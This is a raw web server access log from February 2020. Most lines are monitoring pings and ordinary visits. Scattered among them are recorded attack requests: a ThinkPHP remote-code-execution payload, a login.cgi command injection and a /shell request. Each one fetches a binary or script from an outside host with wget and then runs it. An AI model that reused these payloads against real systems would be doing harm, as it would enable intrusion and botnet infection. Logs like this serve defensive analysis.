93.76.233.223 - - [13/Feb/2020:16:37:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.18.103.245 - - [13/Feb/2020:16:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:16:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [13/Feb/2020:16:43:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [13/Feb/2020:16:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [13/Feb/2020:16:47:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.240.222.206 - - [13/Feb/2020:16:48:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:16:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [13/Feb/2020:16:49:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [13/Feb/2020:16:49:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [13/Feb/2020:16:49:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [13/Feb/2020:16:50:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
208.114.149.10 - - [13/Feb/2020:16:50:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [13/Feb/2020:16:50:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:16:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.190.215.139 - - [13/Feb/2020:16:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
36.225.110.75 - - [13/Feb/2020:16:51:49 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:16:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.196.108.183 - - [13/Feb/2020:16:55:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.204.182.150 - - [13/Feb/2020:16:56:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
124.47.8.10 - - [13/Feb/2020:16:56:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.144.137 - - [13/Feb/2020:16:57:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:16:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.90.191.240 - - [13/Feb/2020:16:57:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.217.63.226 - - [13/Feb/2020:16:59:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:16:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.58.75.219 - - [13/Feb/2020:17:00:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.84.236 - - [13/Feb/2020:17:02:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.1.222.233 - - [13/Feb/2020:17:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
202.166.207.45 - - [13/Feb/2020:17:09:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:17:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [13/Feb/2020:17:10:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [13/Feb/2020:17:11:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.182.94.7 - - [13/Feb/2020:17:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:17:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.8.27.151 - - [13/Feb/2020:17:16:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.34.76.147 - - [13/Feb/2020:17:19:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.124 - - [13/Feb/2020:17:22:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.38.198.46 - - [13/Feb/2020:17:24:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:17:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.165.140 - - [13/Feb/2020:17:29:41 +0100] "GET /robots.txt HTTP/1.0" 404 321 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.140 - - [13/Feb/2020:17:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [13/Feb/2020:17:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.16.164.54 - - [13/Feb/2020:17:31:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.103.89.39 - - [13/Feb/2020:17:34:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:17:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.116.195 - - [13/Feb/2020:17:36:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.44.250 - - [13/Feb/2020:17:37:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.179.184 - - [13/Feb/2020:17:44:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:17:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.139.141.66 - - [13/Feb/2020:17:55:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:17:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:17:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [13/Feb/2020:17:59:39 +0100] "GET / HTTP/1.1" 200 1229 "https://bpro1.top/congratulations-happy-birthday" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [13/Feb/2020:17:59:39 +0100] "GET / HTTP/1.1" 200 1229 "https://bpro1.top/congratulations-happy-birthday" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [13/Feb/2020:17:59:40 +0100] "GET / HTTP/1.1" 200 1229 "https://bpro1.top/congratulations-happy-birthday" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
212.91.246.72 - - [13/Feb/2020:18:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.219.110.50 - - [13/Feb/2020:18:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
195.138.86.99 - - [13/Feb/2020:18:04:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:18:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:18:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
